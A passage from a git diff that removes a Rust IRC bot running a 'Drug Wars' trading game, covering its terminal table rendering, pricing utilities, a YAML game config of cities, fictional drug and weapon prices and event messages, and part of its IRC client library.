-                        &format!("{}", pretty_print_money(market.1.price)),
-                        market_column_width,
-                    );
-                    let spaces = " ".repeat(market_column_width - value.chars().count());
-                    market_column += &format!("{}{}", value, spaces);
-
-                    let offset = (market_width - market_column.chars().count()).min(3);
-                    market_column +=
-                        &" ".repeat(market_width - market_column.chars().count() - offset);
-
-                    lines.push(format!(
-                        "│ {}│ {}│",
-                        market_column,
-                        " ".repeat(owned_width - 2)
-                    ));
-                }
-                itertools::EitherOrBoth::Right(owned) => {
-                    // Owned column
-                    let mut owned_column = String::new();
-
-                    let value = truncate_string(owned.0, owned_column_width);
-                    let spaces = " ".repeat(owned_column_width - value.chars().count());
-                    owned_column += &format!("{}{}", value, spaces);
-
-                    let value = truncate_string(&format!("{}", owned.1.amount), owned_column_width);
-                    let spaces = " ".repeat(owned_column_width - value.chars().count());
-                    owned_column += &format!("{}{}", value, spaces);
-
-                    let value = truncate_string(
-                        &format!("{}", pretty_print_money(owned.1.bought_at)),
-                        owned_column_width,
-                    );
-                    let spaces = " ".repeat(owned_column_width - value.chars().count());
-                    owned_column += &format!("{}{}", value, spaces);
-
-                    lines.push(format!(
-                        "│ {}│ {}│",
-                        " ".repeat(market_width - 3),
-                        owned_column
-                    ));
-                }
-            }
-        }
-
-        lines.push(format!(
-            "╰{}┴{}╯",
-            "─".repeat(market_width - 2),
-            "─".repeat(owned_width - 1)
-        ));
-
-        lines
-    }
-
-    pub fn render_items_dual_columns(&self, dealer: &Dealer) -> Vec<String> {
-        let mut lines = vec![];
-
-        let market_width = dealer.max_width / 2;
-        let owned_width = dealer.max_width / 2;
-
-        let market_column_width = ((market_width - 2) as f32 / 4.).floor() as usize;
-        let owned_column_width = ((owned_width - 2) as f32 / 3.).floor() as usize;
-
-        lines.push(format!(
-            "╭ Items market {}┬ Owned items {}╮",
-            "─".repeat(market_width - 16),
-            "─".repeat(owned_width - 14)
-        ));
-
-        // Market column headers
-        let mut market_header = String::new();
-        for col_name in ["Item", "Supply", "Demand", "Price"] {
-            let spaces = " ".repeat(market_column_width - col_name.chars().count());
-            market_header += &format!("{}{}", col_name, spaces);
-        }
-
-        let offset = (market_width - market_header.chars().count()).min(3);
-        market_header += &" ".repeat(market_width - market_header.chars().count() - offset);
-
-        // Owned column headers
-        let mut owned_header = String::new();
-        for col_name in ["Item", "Amount", "Bought at"] {
-            let spaces = " ".repeat(owned_column_width - col_name.chars().count());
-            owned_header += &format!("{}{}", col_name, spaces);
-        }
-
-        let offset = (owned_width - owned_header.chars().count()).min(2);
-        owned_header += &" ".repeat(owned_width - owned_header.chars().count() - offset);
-
-        lines.push(format!("│ {}│ {}│", market_header, owned_header));
-
-        let location = self.locations.get(&dealer.location).unwrap();
-
-        let owned_local = dealer.get_local_items();
-
-        for pair in location.item_market.iter().zip_longest(owned_local.iter()) {
-            match pair {
-                itertools::EitherOrBoth::Both(market, owned) => {
-                    // Market column
-                    let mut market_column = String::new();
-
-                    let value = truncate_string(market.0, market_column_width);
-                    let spaces = " ".repeat(market_column_width - value.chars().count());
-                    market_column += &format!("{}{}", value, spaces);
-
-                    let value =
-                        truncate_string(&format!("{}", market.1.supply), market_column_width);
-                    let spaces = " ".repeat(market_column_width - value.chars().count());
-                    market_column += &format!("{}{}", value, spaces);
-
-                    let value =
-                        truncate_string(&format!("{}", market.1.demand), market_column_width);
-                    let spaces = " ".repeat(market_column_width - value.chars().count());
-                    market_column += &format!("{}{}", value, spaces);
-
-                    let value = truncate_string(
-                        &format!("{}", pretty_print_money(market.1.price)),
-                        market_column_width,
-                    );
-                    let spaces = " ".repeat(market_column_width - value.chars().count());
-                    market_column += &format!("{}{}", value, spaces);
-
-                    let offset = (market_width - market_column.chars().count()).min(3);
-                    market_column +=
-                        &" ".repeat(market_width - market_column.chars().count() - offset);
-
-                    // Owned column
-                    let mut owned_column = String::new();
-
-                    let value = truncate_string(owned.0, owned_column_width);
-                    let spaces = " ".repeat(owned_column_width - value.chars().count());
-                    owned_column += &format!("{}{}", value, spaces);
-
-                    let value = truncate_string(&format!("{}", owned.1.amount), owned_column_width);
-                    let spaces = " ".repeat(owned_column_width - value.chars().count());
-                    owned_column += &format!("{}{}", value, spaces);
-
-                    let value = truncate_string(
-                        &format!("{}", pretty_print_money(owned.1.bought_at)),
-                        owned_column_width,
-                    );
-                    let spaces = " ".repeat(owned_column_width - value.chars().count());
-                    owned_column += &format!("{}{}", value, spaces);
-
-                    let offset = (owned_width - owned_column.chars().count()).min(2);
-                    owned_column +=
-                        &" ".repeat(owned_width - owned_column.chars().count() - offset);
-
-                    lines.push(format!("│ {}│ {}│", market_column, owned_column));
-                }
-                itertools::EitherOrBoth::Left(market) => {
-                    // Market column
-                    let mut market_column = String::new();
-
-                    let value = truncate_string(market.0, market_column_width);
-                    let spaces = " ".repeat(market_column_width - value.chars().count());
-                    market_column += &format!("{}{}", value, spaces);
-
-                    let value =
-                        truncate_string(&format!("{}", market.1.supply), market_column_width);
-                    let spaces = " ".repeat(market_column_width - value.chars().count());
-                    market_column += &format!("{}{}", value, spaces);
-
-                    let value =
-                        truncate_string(&format!("{}", market.1.demand), market_column_width);
-                    let spaces = " ".repeat(market_column_width - value.chars().count());
-                    market_column += &format!("{}{}", value, spaces);
-
-                    let value = truncate_string(
-                        &format!("{}", pretty_print_money(market.1.price)),
-                        market_column_width,
-                    );
-                    let spaces = " ".repeat(market_column_width - value.chars().count() - 1);
-                    market_column += &format!("{}{}", value, spaces);
-
-                    let offset = (market_width - market_column.chars().count()).min(3);
-                    market_column +=
-                        &" ".repeat(market_width - market_column.chars().count() - offset);
-
-                    lines.push(format!(
-                        "│ {}│ {}│",
-                        market_column,
-                        " ".repeat(owned_width - 2)
-                    ));
-                }
-                itertools::EitherOrBoth::Right(owned) => {
-                    // Owned column
-                    let mut owned_column = String::new();
-
-                    let value = truncate_string(owned.0, owned_column_width);
-                    let spaces = " ".repeat(owned_column_width - value.chars().count());
-                    owned_column += &format!("{}{}", value, spaces);
-
-                    let value = truncate_string(&format!("{}", owned.1.amount), owned_column_width);
-                    let spaces = " ".repeat(owned_column_width - value.chars().count());
-                    owned_column += &format!("{}{}", value, spaces);
-
-                    let value = truncate_string(
-                        &format!("{}", pretty_print_money(owned.1.bought_at)),
-                        owned_column_width,
-                    );
-                    let spaces = " ".repeat(owned_column_width - value.chars().count());
-                    owned_column += &format!("{}{}", value, spaces);
-
-                    let offset = (owned_width - owned_column.chars().count()).min(2);
-                    owned_column +=
-                        &" ".repeat(owned_width - owned_column.chars().count() - offset);
-
-                    lines.push(format!(
-                        "│ {}│ {}│",
-                        " ".repeat(market_width - 3),
-                        owned_column
-                    ));
-                }
-            }
-        }
-
-        lines.push(format!(
-            "╰{}┴{}╯",
-            "─".repeat(market_width - 2),
-            "─".repeat(owned_width - 1)
-        ));
-
-        lines
-    }
-
-    pub fn render_people(&self, dealer: &Dealer) -> Vec<String> {
-        let mut lines = vec![];
-
-        lines.push(format!(
-            "╭ Blokes in town {}╮",
-            "─".repeat(dealer.max_width - 18)
-        ));
-
-        let location = self.locations.get(&dealer.location).unwrap();
-
-        let mut blokes = location.blokes.iter().collect::<Vec<_>>();
-
-        let mut line = String::new();
-
-        while blokes.len() > 0 {
-            let to_append = format!("{}, ", blokes[blokes.len() - 1]);
-
-            if line.chars().count() + to_append.chars().count() > dealer.max_width - 2 {
-                line.truncate(line.len() - 2);
-
-                let start = format!("│ {}", line);
-                let spaces = " ".repeat(dealer.max_width - start.chars().count() - 2);
-                lines.push(format!("{}{} │", start, spaces));
-
-                line = String::new();
-            }
-
-            line += &to_append;
-            blokes.pop();
-        }
-
-        if line.chars().count() > 0 {
-            line.truncate(line.len() - 2);
-            let start = format!("│ {}", line);
-            let spaces = " ".repeat(dealer.max_width - start.chars().count() - 2);
-            lines.push(format!("{}{} │", start, spaces));
-        }
-
-        lines.push(format!("╰{}╯", "─".repeat(dealer.max_width - 2)));
-        lines
-    }
-
-    pub fn render_command_list(&self, dealer: &Dealer) -> Vec<String> {
-        let mut lines = vec![];
-
-        lines.push(format!(
-            "╭ Command list {}╮",
-            "─".repeat(dealer.max_width - 16)
-        ));
-
-        let mut help_commands = vec![
-            "s <drug> <amount> <location>: ship drug to location",
-            "fp: flight prices",
-            "f <location>: fly to location",
-            "gm <bloke> <amount>: give money to some bloke",
-            "gd <bloke> <drug> <amount>: give drugs to some bloke",
-            "gi <bloke> <item> <amount>: give items to some bloke",
-            "si <item> <amount>: sell item",
-            "bi <item> <amount>: buy item",
-            "sd <drug> <amount>: sell drug",
-            "bd <drug> <amount>: buy drug",
-            "bc <amount>: buy capacity",
-            "mw <size>: set max width",
-            "p: print info",
-        ];
-
-        let mut line = String::new();
-
-        while help_commands.len() > 0 {
-            let to_append = format!("{}, ", help_commands[help_commands.len() - 1]);
-
-            if line.chars().count() + to_append.chars().count() > dealer.max_width - 2 {
-                line.truncate(line.len() - 2);
-
-                let start = format!("│ {}", line);
-                let spaces = " ".repeat(dealer.max_width - start.chars().count() - 2);
-                lines.push(format!("{}{} │", start, spaces));
-
-                line = String::new();
-            }
-
-            line += &to_append;
-            help_commands.pop();
-        }
-
-        if line.chars().count() > 0 {
-            line.truncate(line.len() - 2);
-            let start = format!("│ {}", line);
-            let spaces = " ".repeat(dealer.max_width - start.chars().count() - 2);
-            lines.push(format!("{}{} │", start, spaces));
-        }
-
-        lines.push(format!("╰{}╯", "─".repeat(dealer.max_width - 2)));
-        lines
-    }
-}
diff --git a/irc/bots/drugwars/drugwars/src/utils.rs b/irc/bots/drugwars/drugwars/src/utils.rs
@@ -1,66 +0,0 @@
-use std::{f32::consts::PI, str};
-
-use crate::definitions::Location;
-
-pub fn truncate_string(original: &str, max: usize) -> String {
-    assert!(max > 3);
-
-    if original.chars().count() <= max {
-        return original.to_owned();
-    }
-
-    format!("{}...", &original[..(max - 3)])
-}
-
-pub fn pretty_print_money(money: u128) -> String {
-    let unit_money = money / 10000;
-    let float_money = money as f32 / 10000.;
-    let dec = (float_money.fract() * 100.).floor() as u32;
-
-    let pretty_money = unit_money
-        .to_string()
-        .as_bytes()
-        .rchunks(3)
-        .rev()
-        .map(str::from_utf8)
-        .collect::<Result<Vec<&str>, _>>()
-        .unwrap()
-        .join(",");
-
-    format!("${}.{:0>2}", pretty_money, dec)
-}
-
-pub fn get_flight_price(origin: &Location, other: &Location) -> u128 {
-    let cur_lat = origin.lat * (PI / 180.);
-    let cur_long = origin.long * (PI / 180.);
-
-    let other_lat = other.lat * (PI / 180.);
-    let other_long = other.long * (PI / 180.);
-
-    let float_price = (cur_lat.sin() * other_lat.sin()
-        + cur_lat.cos() * other_lat.cos() * (other_long - cur_long).cos())
-    .acos()
-        * 10000.;
-
-    (float_price * 10000.) as u128
-}
-
-pub fn capacity_price(current_capacity: usize, to_add: usize) -> Option<u128> {
-    let mut price: u128 = 1000 * 10000;
-
-    for _ in 0..current_capacity {
-        price += price / 1000000;
-    }
-
-    let mut accumulated_price: u128 = 0;
-
-    for _ in current_capacity..(current_capacity + to_add) {
-        price += price / 1000000;
-        accumulated_price = match accumulated_price.checked_add(price) {
-            Some(v) => v,
-            None => return None,
-        }
-    }
-
-    Some(accumulated_price)
-}
diff --git a/irc/bots/drugwars/drugwars_config.yaml b/irc/bots/drugwars/drugwars_config.yaml
@@ -1,205 +0,0 @@
-settings:
-  day_duration: 300 # 5 mins
-  start_day: 1993-04-20
-locations:
-  - name: Beijing, China
-    position:
-      lat: 39.9042
-      long: 116.4074
-  - name: Boston, USA
-    position:
-      lat: 42.3601
-      long: -71.0589
-  - name: Detroit, USA
-    position:
-      lat: 42.3314
-      long: -83.0458
-  - name: London, England
-    position:
-      lat: 51.5072
-      long: -0.1276
-  - name: Los Angeles, USA
-    position:
-      lat: 34.0522
-      long: -118.2437
-  - name: Miami, USA
-    position:
-      lat: 25.7617
-      long: -80.1918
-  - name: Moscow, Russia
-    position:
-      lat: 55.7558
-      long: 37.6173
-  - name: New York, USA
-    position:
-      lat: 40.7128
-      long: -74.0060
-  - name: Paris, France
-    position:
-      lat: 48.8566
-      long: 2.3522
-  - name: San Francisco, USA
-    position:
-      lat: 37.7749
-      long: -122.4194
-  - name: St Petersburg, Russia
-    position:
-      lat: 59.9343
-      long: -30.3351
-  - name: Sydney, Australia
-    position:
-      lat: -33.8688
-      long: 151.2093
-  - name: Toronto, Canada
-    position:
-      lat: 43.6532
-      long: -79.3832
-  - name: Vancouver, Canada
-    position:
-      lat: 49.2827
-      long: -123.1207
-  - name: Bogota, Colombia
-    position:
-      lat: 4.7110
-      long: -74.0721
-  - name: Johannesburg, South Africa
-    position:
-      lat: -26.2041
-      long: 28.0473
-
-drugs:
-  - name: Cocaine
-    price: 6500
-  - name: Crack
-    price: 8000
-  - name: Ecstasy
-    price: 3500
-  - name: Estradiol
-    price: 1000
-  - name: Fentanyl
-    price: 1300
-  - name: Hashish
-    price: 600
-  - name: Heroin
-    price: 4000
-  - name: Ice
-    price: 850
-  - name: Kat
-    price: 650
-  - name: Krokodil
-    price: 12
-  - name: LSD
-    price: 2200
-  - name: MDA
-    price: 3300
-  - name: Morphine
-    price: 6200
-  - name: Mushrooms
-    price: 550
-  - name: Opium
-    price: 400
-  - name: PCP
-    price: 1200
-  - name: Peyote
-    price: 800
-  - name: Loud
-    price: 420
-  - name: Special K
-    price: 2700
-  - name: Speed
-    price: 3900
-
-items:
-
-  weapons:
-    - name: Knife
-      price: 100
-      damage: 5
-    - name: Pistol
-      price: 500
-      damage: 10
-      ammo: Pistol round
-    - name: Shotgun
-      price: 2500
-      damage: 15
-      ammo: Shotgun shell
-    - name: Machine gun
-      price: 4000
-      damage: 20
-      ammo: Maching gun round
-    - name: Flamethrower
-      price: 7500
-      damage: 25
-      ammo: Gas canister
-    - name: Rocket launcher
-      price: 10000
-      damage: 30
-      ammo: Rocket
-    - name: Area disrupter
-      price: 500000
-      damage: 80
-      ammo: Energy globe
-
-  ammos:
-    - name: Pistol round
-      price: 5
-    - name: Shotgun shell
-      price: 8
-    - name: Machine gun round
-      price: 10
-    - name: Gas canister
-      price: 200
-    - name: Rocket
-      price: 500
-    - name: Energy globe
-      price: 25000
-
-  armors:
-    - name: Leather coat
-      price: 1000
-      block: 20
-    - name: Bulletproof vest
-      price: 10000
-      block: 40
-
-  no_scents:
-    - name: Can of no-scent
-      price: 1000
-      capacity: 10
-
-
-messages:
-  rumor_up_here:
-    - You hear a rumor that %DRUG will be abundant tomorrow.
-  rumor_down_here:
-    - You hear a rumor that %DRUG will be scarce tomorrow.
-  rumor_up_at:
-    - You hear a rumor that %DRUG will be abundant in %LOCATION tomorrow.
-  rumor_down_at:
-    - You hear a rumor that %DRUG will be scarce in %LOCATION tomorrow.
-  welcome:
-    - Welcome to %LOCATION!
-  price_up:
-    - A boatload of %DRUG arrives.
-    - A police warehouse is broken into and %DRUG is stolen.
-    - A new source of %DRUG is found.
-    - Crates of %DRUG were discovered floating in the ocean.
-  price_up_end:
-    - Prices are astronomical!
-    - Prices are insanely high!
-    - Prices are outrageous!
-    - Prices go through the roof!
-    - Prices are higher than the people who use your goods!
-  price_down:
-    - Gang warfare is keeping %DRUG off the streets.
-    - Racoons broke into a crate of %DRUG, eating some and dying on the rest.
-    - Cops burst into a %DRUG warehouse, seizing everything.
-    - The smuggler of some %DRUG was killed by a rival dealer.
-    - The pilot of a %DRUG shipment fell asleep and crashed.
-  price_down_end:
-    - Prices are lower than the Marianas Trench!
-    - Prices nose dive!
-    - Prices plummet!
-    - Prices drop like lead balloons!
-    - Prices are rock bottom!
-  
-\ No newline at end of file
diff --git a/irc/bots/drugwars/irc/Cargo.toml b/irc/bots/drugwars/irc/Cargo.toml
@@ -1,11 +0,0 @@
-[package]
-name = "irc"
-version = "0.1.0"
-author = "wrk"
-edition = "2021"
-
-[dependencies]
-serde = { version = "1.0.163", features = ["derive"] }
-serde_yaml = "0.9.21"
-typemap_rev = "0.3.0"
-native-tls = "0.2.11"
diff --git a/irc/bots/drugwars/irc/src/builder.rs b/irc/bots/drugwars/irc/src/builder.rs
@@ -1,145 +0,0 @@
-use std::collections::{HashMap, VecDeque};
-
-use typemap_rev::{TypeMap, TypeMapKey};
-
-use crate::{config::IrcConfig, Channel, Irc, System};
-
-#[derive(Default)]
-pub struct IrcBuilder {
-    host: Option<String>,
-    port: Option<u16>,
-    ssl: Option<bool>,
-
-    channels: Vec<Channel>,
-
-    nick: Option<String>,
-    user: Option<String>,
-    real: Option<String>,
-
-    cmdkey: Option<String>,
-
-    data: TypeMap,
-    default_system: Option<System>,
-    systems: HashMap<String, System>,
-}
-
-impl From<IrcConfig> for IrcBuilder {
-    fn from(config: IrcConfig) -> Self {
-        Self {
-            host: Some(config.host),
-            port: Some(config.port),
-            ssl: Some(config.ssl),
-
-            channels: config.channels.into_iter().map(Channel::from).collect(),
-
-            nick: Some(config.nick),
-            user: Some(config.user),
-            real: Some(config.real),
-
-            cmdkey: Some(config.cmdkey),
-
-            data: TypeMap::default(),
-            default_system: None,
-
-            systems: HashMap::default(),
-        }
-    }
-}
-
-impl IrcBuilder {
-    pub fn new() -> Self {
-        Self::default()
-    }
-
-    pub fn host(&mut self, host: &str) -> &mut Self {
-        self.host = Some(host.to_owned());
-        self
-    }
-
-    pub fn port(&mut self, port: u16) -> &mut Self {
-        self.port = Some(port);
-        self
-    }
-
-    pub fn ssl(&mut self, ssl: bool) -> &mut Self {
-        self.ssl = Some(ssl);
-        self
-    }
-
-    pub fn channel(&mut self, channel: &str, key: Option<&str>) -> &mut Self {
-        self.channels.push(Channel {
-            name: channel.to_owned(),
-            key: if key.is_some() {
-                Some(key.unwrap().to_owned())
-            } else {
-                None
-            },
-        });
-        self
-    }
-
-    pub fn nick(&mut self, nick: &str) -> &mut Self {
-        self.nick = Some(nick.to_owned());
-        self
-    }
-
-    pub fn user(&mut self, user: &str) -> &mut Self {
-        self.user = Some(user.to_owned());
-        self
-    }
-
-    pub fn real(&mut self, real: &str) -> &mut Self {
-        self.real = Some(real.to_owned());
-        self
-    }
-
-    pub fn cmdkey(&mut self, cmdkey: &str) -> &mut Self {
-        self.cmdkey = Some(cmdkey.to_owned());
-        self
-    }
-
-    pub fn add_resource<V: Send + Sync + 'static, T: TypeMapKey + TypeMapKey<Value = V>>(
-        &mut self,
-        resource: V,
-    ) -> &mut Self {
-        self.data.insert::<T>(resource);
-        self
-    }
-
-    pub fn add_default_system(&mut self, func: System) -> &mut Self {
-        self.default_system = Some(func);
-        self
-    }
-
-    pub fn add_system(&mut self, system_name: &str, func: System) -> &mut Self {
-        self.systems.insert(system_name.to_owned(), func);
-        self
-    }
-
-    pub fn build(&mut self) -> Irc {
-        Irc {
-            stream: None,
-            host: self.host.as_ref().unwrap().clone(),
-            port: self.port.unwrap_or_default(),
-            ssl: self.ssl.unwrap_or_default(),
-
-            channels: std::mem::take(&mut self.channels),
-
-            nick: self.nick.as_ref().unwrap().clone(),
-            user: self.user.as_ref().unwrap().clone(),
-            real: self.real.as_ref().unwrap().clone(),
-
-            cmdkey: self.cmdkey.as_ref().unwrap().clone(),
-
-            data: std::mem::take(&mut self.data),
-
-            default_system: self.default_system,
-            systems: std::mem::take(&mut self.systems),
-
-            send_queue: VecDeque::new(),
-            recv_queue: VecDeque::new(),
-
-            partial_line: String::new(),
-        }
-    }
-}
diff --git a/irc/bots/drugwars/irc/src/config.rs b/irc/bots/drugwars/irc/src/config.rs
@@ -1,35 +0,0 @@
-use std::{fs::File, io::Read};
-
-use serde::Deserialize;
-
-#[derive(Deserialize)]
-pub(crate) struct ChannelConfig {
-    pub(crate) name: String,
-    pub(crate) key: Option<String>,
-}
-
-#[derive(Deserialize)]
-pub(crate) struct IrcConfig {
-    pub(crate) host: String,
-    pub(crate) port: u16,
-    pub(crate) ssl: bool,
-
-    pub(crate) channels: Vec<ChannelConfig>,
-
-    pub(crate) nick: String,
-    pub(crate) user: String,
-    pub(crate) real: String,
-
-    pub(crate) cmdkey: String
-}
-
-impl IrcConfig {
-    pub fn from_file(path: &str) -> std::io::Result<Self> {
-        let mut file = File::open(path)?;
-        let mut contents = String::new();
-        file.read_to_string(&mut contents)?;
-
-        let config: IrcConfig = serde_yaml::from_str(&contents).unwrap();
-        Ok(config)
-    }
-}
diff --git a/irc/bots/drugwars/irc/src/irc_command.rs b/irc/bots/drugwars/irc/src/irc_command.rs
@@ -1,242 +0,0 @@
-macro_rules! make_irc_command_enum {
-
-    ($variant:ident) => {
-        $variant
-    };
-
-    ($($variant:ident: $value:expr),+) => {
-        #[allow(non_camel_case_types)]
-        pub enum IrcCommand {
-            UNKNOWN,
-            $($variant),+
-        }
-
-        impl From<&str> for IrcCommand {
-            fn from(command_str: &str) -> Self {
-                match command_str {
-                    $($value => Self::$variant,)+
-                    _ => Self::UNKNOWN,
-                }
-            }
-        }
-
-    };
-}
-
-make_irc_command_enum!(
-    ADMIN: "ADMIN",
-    AWAY: "AWAY",
-    CNOTICE: "CNOTICE",
-    CPRIVMSG: "CPRIVMSG",
-    CONNECT: "CONNECT",
-    DIE: "DIE",
-    ENCAP: "ENCAP",
-    ERROR: "ERROR",
-    HELP: "HELP",
-    INFO: "INFO",
-    INVITE: "INVITE",
-    ISON: "ISON",
-    JOIN: "JOIN",
-    KICK: "KICK",
-    KILL: "KILL",
-    KNOCK: "KNOCK",
-    LINKS: "LINKS",
-    LIST: "LIST",
-    LUSERS: "LUSERS",
-    MODE: "MODE",
-    MOTD: "MOTD",
-    NAMES: "NAMES",
-    NICK: "NICK",
-    NOTICE: "NOTICE",
-    OPER: "OPER",
-    PART: "PART",
-    PASS: "PASS",
-    PING: "PING",
-    PONG: "PONG",
-    PRIVMSG: "PRIVMSG",
-    QUIT: "QUIT",
-    REHASH: "REHASH",
-    RULES: "RULES",
-    SERVER: "SERVER",
-    SERVICE: "SERVICE",
-    SERVLIST: "SERVLIST",
-    SQUERY: "SQUERY",
-    SQUIT: "SQUIT",
-    SETNAME: "SETNAME",
-    SILENCE: "SILENCE",
-    STATS: "STATS",
-    SUMMON: "SUMMON",
-    TIME: "TIME",
-    TOPIC: "TOPIC",
-    TRACE: "TRACE",
-    USER: "USER",
-    USERHOST: "USERHOST",
-    USERIP: "USERIP",
-    USERS: "USERS",
-    VERSION: "VERSION",
-    WALLOPS: "WALLOPS",
-    WATCH: "WATCH",
-    WHO: "WHO",
-    WHOIS: "WHOIS",
-    WHOWAS: "WHOWAS",
-    RPL_WELCOME: "001",
-    RPL_YOURHOST: "002",
-    RPL_CREATED: "003",
-    RPL_MYINFO: "004",
-    RPL_BOUNCE: "005",
-    RPL_TRACELINK: "200",
-    RPL_TRACECONNECTING: "201",
-    RPL_TRACEHANDSHAKE: "202",
-    RPL_TRACEUNKNOWN: "203",
-    RPL_TRACEOPERATOR: "204",
-    RPL_TRACEUSER: "205",
-    RPL_TRACESERVER: "206",
-    RPL_TRACESERVICE: "207",
-    RPL_TRACENEWTYPE: "208",
-    RPL_TRACECLASS: "209",
-    RPL_TRACERECONNECT: "210",
-    RPL_STATSLINKINFO: "211",
-    RPL_STATSCOMMANDS: "212",
-    RPL_STATSCLINE: "213",
-    RPL_STATSNLINE: "214",
-    RPL_STATSILINE: "215",
-    RPL_STATSKLINE: "216",
-    RPL_STATSQLINE: "217",
-    RPL_STATSYLINE: "218",
-    RPL_ENDOFSTATS: "219",
-    RPL_UMODEIS: "221",
-    RPL_SERVICEINFO: "231",
-    RPL_ENDOFSERVICES: "232",
-    RPL_SERVICE: "233",
-    RPL_SERVLIST: "234",
-    RPL_SERVLISTEND: "235",
-    RPL_STATSVLINE: "240",
-    RPL_STATSLLINE: "241",
-    RPL_STATSUPTIME: "242",
-    RPL_STATSOLINE: "243",
-    RPL_STATSHLINE: "244",
-    RPL_STATSPING: "246",
-    RPL_STATSBLINE: "247",
-    RPL_STATSDLINE: "250",
-    RPL_LUSERCLIENT: "251",
-    RPL_LUSEROP: "252",
-    RPL_LUSERUNKNOWN: "253",
-    RPL_LUSERCHANNELS: "254",
-    RPL_LUSERME: "255",
-    RPL_ADMINME: "256",
-    RPL_ADMINLOC1: "257",
-    RPL_ADMINLOC2: "258",
-    RPL_ADMINEMAIL: "259",
-    RPL_TRACELOG: "261",
-    RPL_TRACEEND: "262",
-    RPL_TRYAGAIN: "263",
-    RPL_NONE: "300",
-    RPL_AWAY: "301",
-    RPL_USERHOST: "302",
-    RPL_ISON: "303",
-    RPL_UNAWAY: "305",
-    RPL_NOWAWAY: "306",
-    RPL_WHOISUSER: "311",
-    RPL_WHOISSERVER: "312",
-    RPL_WHOISOPERATOR: "313",
-    RPL_WHOWASUSER: "314",
-    RPL_ENDOFWHO: "315",
-    RPL_WHOISCHANOP: "316",
-    RPL_WHOISIDLE: "317",
-    RPL_ENDOFWHOIS: "318",
-    RPL_WHOISCHANNELS: "319",
-    RPL_LISTSTART: "321",
-    RPL_LIST: "322",
-    RPL_LISTEND: "323",
-    RPL_CHANNELMODEIS: "324",
-    RPL_UNIQOPIS: "325",
-    RPL_NOTOPIC: "331",
-    RPL_TOPIC: "332",
-    RPL_INVITING: "341",
-    RPL_SUMMONING: "342",
-    RPL_INVITELIST: "346",
-    RPL_ENDOFINVITELIST: "347",
-    RPL_EXCEPTLIST: "348",
-    RPL_ENDOFEXCEPTLIST: "349",
-    RPL_VERSION: "351",
-    RPL_WHOREPLY: "352",
-    RPL_NAMREPLY: "353",
-    RPL_KILLDONE: "361",
-    RPL_CLOSING: "362",
-    RPL_CLOSEEND: "363",
-    RPL_LINKS: "364",
-    RPL_ENDOFLINKS: "365",
-    RPL_ENDOFNAMES: "366",
-    RPL_BANLIST: "367",
-    RPL_ENDOFBANLIST: "368",
-    RPL_ENDOFWHOWAS: "369",
-    RPL_INFO: "371",
-    RPL_MOTD: "372",
-    RPL_INFOSTART: "373",
-    RPL_ENDOFINFO: "374",
-    RPL_MOTDSTART: "375",
-    RPL_ENDOFMOTD: "376",
-    RPL_YOUREOPER: "381",
-    RPL_REHASHING: "382",
-    RPL_YOURESERVICE: "383",
-    RPL_MYPORTIS: "384",
-    RPL_TIME: "391",
-    RPL_USERSSTART: "392",
-    RPL_USERS: "393",
-    RPL_ENDOFUSERS: "394",
-    RPL_NOUSERS: "395",
-    ERR_NOSUCHNICK: "401",
-    ERR_NOSUCHSERVER: "402",
-    ERR_NOSUCHCHANNEL: "403",
-    ERR_CANNOTSENDTOCHAN: "404",
-    ERR_TOOMANYCHANNELS: "405",
-    ERR_WASNOSUCHNICK: "406",
-    ERR_TOOMANYTARGETS: "407",
-    ERR_NOSUCHSERVICE: "408",
-    ERR_NOORIGIN: "409",
-    ERR_NORECIPIENT: "411",
-    ERR_NOTEXTTOSEND: "412",
-    ERR_NOTOPLEVEL: "413",
-    ERR_WILDTOPLEVEL: "414",
-    ERR_BADMASK: "415",
-    ERR_UNKNOWNCOMMAND: "421",
-    ERR_NOMOTD: "422",
-    ERR_NOADMININFO: "423",
-    ERR_FILEERROR: "424",
-    ERR_NONICKNAMEGIVEN: "431",
-    ERR_ERRONEUSNICKNAME: "432",
-    ERR_NICKNAMEINUSE: "433",
-    ERR_NICKCOLLISION: "436",
-    ERR_UNAVAILRESOURCE: "437",
-    ERR_USERNOTINCHANNEL: "441",
-    ERR_NOTONCHANNEL: "442",
-    ERR_USERONCHANNEL: "443",
-    ERR_NOLOGIN: "444",
-    ERR_SUMMONDISABLED: "445",
-    ERR_USERSDISABLED: "446",
-    ERR_NOTREGISTERED: "451",
-    ERR_NEEDMOREPARAMS: "461",
-    ERR_ALREADYREGISTERED: "462",
-    ERR_NOPERMFORHOST: "463",
-    ERR_PASSWDMISMATCH: "464",
-    ERR_YOUREBANNEDCREEP: "465",
-    ERR_YOUWILLBEBANNED: "466",
-    ERR_KEYSET: "467",
-    ERR_CHANNELISFULL: "471",
-    ERR_UNKNOWNMODE: "472",
-    ERR_INVITEONLYCHAN: "473",
-    ERR_BANNEDFROMCHAN: "474",
-    ERR_BADCHANNELKEY: "475",
-    ERR_BADCHANMASK: "476",
-    ERR_NOCHANMODES: "477",
-    ERR_BANLISTFULL: "478",
-    ERR_NOPRIVILEGES: "481",
-    ERR_CHANOPRIVSNEEDED: "482",
-    ERR_CANTKILLSERVER: "483",
-    ERR_RESTRICTED: "484",
-    ERR_UNIQOPRIVSNEEDED: "485",
-    ERR_NOOPERHOST: "491",
-    ERR_NOSERVICEHOST: "492",
-    ERR_UMODEUNKNOWNFLAG: "501",
-    ERR_USERSDONTMATCH: "502"
-);
diff --git a/irc/bots/drugwars/irc/src/lib.rs b/irc/bots/drugwars/irc/src/lib.rs
@@ -1,477 +0,0 @@
-extern crate typemap_rev;
-
-use std::{
-    collections::{HashMap, VecDeque},
-    error::Error,
-    io::{ErrorKind, Read, Write},
-    net::{TcpStream, ToSocketAddrs},
-    time::Duration,
-};
-
-use builder::IrcBuilder;
-use config::{ChannelConfig, IrcConfig};
-use irc_command::IrcCommand;
-use native_tls::{TlsConnector, TlsStream};
-use typemap_rev::TypeMap;
-
-pub mod builder;
-pub mod config;
-pub mod irc_command;
-
-pub mod typemap {
-    pub use typemap_rev::*;
-}
-
-pub(crate) const MAX_MSG_LEN: usize = 512;
-pub(crate) type System = fn(&mut Irc, &IrcPrefix, Vec<&str>) -> Option<Vec<String>>;
-
-pub enum Stream {
-    Plain(TcpStream),
-    Tls(TlsStream<TcpStream>),
-}
-
-impl Stream {
-    pub fn read(&mut self, buf: &mut [u8]) -> Result<usize, std::io::Error> {
-        match self {
-            Stream::Plain(stream) => stream.read(buf),
-            Stream::Tls(stream) => stream.read(buf),
-        }
-    }
-
-    pub fn write(&mut self, buf: &[u8]) -> Result<usize, std::io::Error> {
-        match self {
-            Stream::Plain(stream) => stream.write(buf),
